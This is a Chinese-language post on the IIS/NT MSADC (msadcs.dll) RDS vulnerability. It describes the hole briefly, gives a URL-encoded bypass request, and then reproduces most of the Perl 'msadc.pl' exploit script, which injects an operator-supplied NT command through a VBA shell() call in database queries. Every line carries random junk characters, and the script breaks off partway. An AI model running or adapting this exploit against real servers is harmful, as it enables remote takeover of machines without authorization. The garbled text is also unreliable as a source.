IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d s|8lz, HUU >hq9 涉及程序:
fuNl4BU Microsoft NT server
P[rAJJN/E 2I]]WBW#: 描述:
rV8(ia 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|'U,/ 00`bL 详细:
kZU"Xn 如果你没有时间读详细内容的话,就删除:
rPiiC/T.` c:\Program Files\Common Files\System\Msadc\msadcs.dll
YW8K
$W 有关的安全问题就没有了。
W>p\O9BG /,1SE( 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
hi ;WFyJTu "xD}6(NL(r 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
DL'd&;6 关于利用ODBC远程漏洞的描述,请参看:
|`_ <@b E1c>nrnh* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9,S,NvSq q4sl=`L5Sp 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
lSn5=^]q http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~a'nHy1 lq>*x=< 这里不再论述。
y\F`B0#$ O%YjWb 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@DfkGm[% (@%XWg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"C:rTIH 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#joF{M{ 2UU2Vm_6 +Fk4{p #将下面这段保存为txt文件,然后: "perl -x 文件名"
b:fxkQm n!UMU ^ #!perl
F1 <489 #
I$aXnd6) # MSADC/RDS 'usage' (aka exploit) script
/J1S@- #
9M1a*frxZ # by rain.forest.puppy
((-aC` #
*TJBPM, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
H<V+d^qX\w # beta test and find errors!
D-Bv(/Pz]$ 51&|t#8h use Socket; use Getopt::Std;
vn|TiZ getopts("e:vd:h:XR", \%args);
dzgs%qtK PzIy">plm print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pGY [f@_x- Y[f,ia if (!defined $args{h} && !defined $args{R}) {
2yl6~(JC+ print qq~
\#
7@a74 Usage: msadc.pl -h <host> { -d <delay> -X -v }
E/:+@'(k -h <host> = host you want to scan (ip or domain)
?D1x;i9< -d <seconds> = delay between calls, default 1 second
+DicP"~* -X = dump Index Server path table, if available
pZu?V"R -v = verbose
CHPL>'NJzc -e = external dictionary file for step 5
IM[54_I AU0$A403 Or a -R will resume a command session
Q8 -3RgAw ZvUp#8x(3 ~; exit;}
2#'rk'X,K |d~B]65t $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V)2"l"Kt if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+7Sf8tg\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zTkFX67) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3 sS=?q $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
NV&;e[z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0FG5_t"",\ hbVE;
9 if (!defined $args{R}){ $ret = &has_msadc;
|)^clkuGX die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!$D&6M|C8l w|&,I4[" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:0B
|<~lX . "cmd /c ";
40 Au9o $in=<STDIN>; chomp $in;
UE"7
$command="cmd /c " . $in ;
{VBR/M(q j?=V tVP if (defined $args{R}) {&load; exit;}
USE [N ah 4kA LO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*]FgfttES &try_btcustmr;
'n>K^rA P`}$-#D F print "\nStep 2: Trying to make our own DSN...";
Pg7>ce &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e%pu.q\gK {V.Wk print "\nStep 3: Trying known DSNs...";
Z/xV\Ggx &known_dsn;
/CIx$G SrSG{/{ print "\nStep 4: Trying known .mdbs...";
mRwXN*Izw &known_mdb;
Z#CxQ D%\ @o`sf-8x if (defined $args{e}){
+IvNyj| print "\nStep 5: Trying dictionary of DSN names...";
uH$oGY &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]GcV0&| kl| g print "Sorry Charley...maybe next time?\n";
NK 8<=
n%" exit;
jz|VF,l Cm^Ylp ##############################################################################
HB%K|&!+ 7@JjjV sub sendraw { # ripped and modded from whisker
vxb@9eb!H sleep($delay); # it's a DoS on the server! At least on mine...
B
i'd5B5 my ($pstr)=@_;
:
-E, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wc"9A~ die("Socket problems\n");
u',b1 3g( if(connect(S,pack "SnA4x8",2,80,$target)){
VXiui'/( select(S); $|=1;
WmNA5;<Q print $pstr; my @in=<S>;
^#2xQ5h select(STDOUT); close(S);
Umij!=GPG^ return @in;
nZ~kZ |VS } else { die("Can't connect...\n"); }}
# ?_#!T| nQ|GqU\oA ##############################################################################
V)=Z6 ti )W#T2Z>N1 sub make_header { # make the HTTP request
18jJzYawh my $msadc=<<EOT
U4=]#=R~o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
NJk)z&M User-Agent: ACTIVEDATA
AHq M7+r9 Host: $ip
b)d^ `J Content-Length: $clen
B`#*o<eb Connection: Keep-Alive
2_wvC su}&".e^ ADCClientVersion:01.06
Z A [ ) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
00"CC V- /YNRV --!ADM!ROX!YOUR!WORLD!
kY=rz&?U Content-Type: application/x-varg
}4Zkf<#7$ Content-Length: $reqlen
f`,-b 5lGQ#r EOT
axtb<5& ; $msadc=~s/\n/\r\n/g;
B4IBuS return $msadc;}
,'u *ZB; >[EBpYi ##############################################################################
>G&^?5 ;ed#+$Na sub make_req { # make the RDS request
Z4#v~! my ($switch, $p1, $p2)=@_;
oooS s&t my $req=""; my $t1, $t2, $query, $dsn;
},&h[\N{6 nX )f'[ 7 if ($switch==1){ # this is the btcustmr.mdb query
>9{zQf! $query="Select * from Customers where City=" . make_shell();
pzi q0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
RB IOdz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lirN YJ]tO G?R_aPP elsif ($switch==2){ # this is general make table query
,[Ag~.T $query="create table AZZ (B int, C varchar(10))";
1&|
$dsn="$p1";}
EsTB(9c? mzz$`M1 elsif ($switch==3){ # this is general exploit table query
f9a$$nb3` $query="select * from AZZ where C=" . make_shell();
>otJF3zw $dsn="$p1";}
?.Q3 pUT )(lJT&e elsif ($switch==4){ # attempt to hork file info from index server
*Z; r
B $query="select path from scope()";
HAd%k$Xu{ $dsn="Provider=MSIDXS;";}
G0Hs,B@5? 1 =^ elsif ($switch==5){ # bad query
sCkO0dl8 $query="select";
S@Iw;V $dsn="$p1";}
oPsK:GC`U NCn`}QP $t1= make_unicode($query);
i-]U+m* $t2= make_unicode($dsn);
\ADLMj`F| $req = "\x02\x00\x03\x00";
(n,N8k; $req.= "\x08\x00" . pack ("S1", length($t1));
$~G@ $req.= "\x00\x00" . $t1 ;
'$?du~L- $req.= "\x08\x00" . pack ("S1", length($t2));
'AWp6L @ $req.= "\x00\x00" . $t2 ;
F 5U|9< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|kc@L`7s return $req;}
Wxn#Rk#> 6A?8tm/0 ##############################################################################
$it@>L8 !9D1
Fa sub make_shell { # this makes the shell() statement
p31oL{D return "'|shell(\"$command\")|'";}
>azEed<B 8ljuc5,J ##############################################################################
\2 >3Opt kM;o0wi sub make_unicode { # quick little function to convert to unicode
('JKN"3 my ($in)=@_; my $out;
xp^ 7#`MJ? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+?Ez}
BP return $out;}
m8+:=0|$ 8SZK:VE@ ##############################################################################
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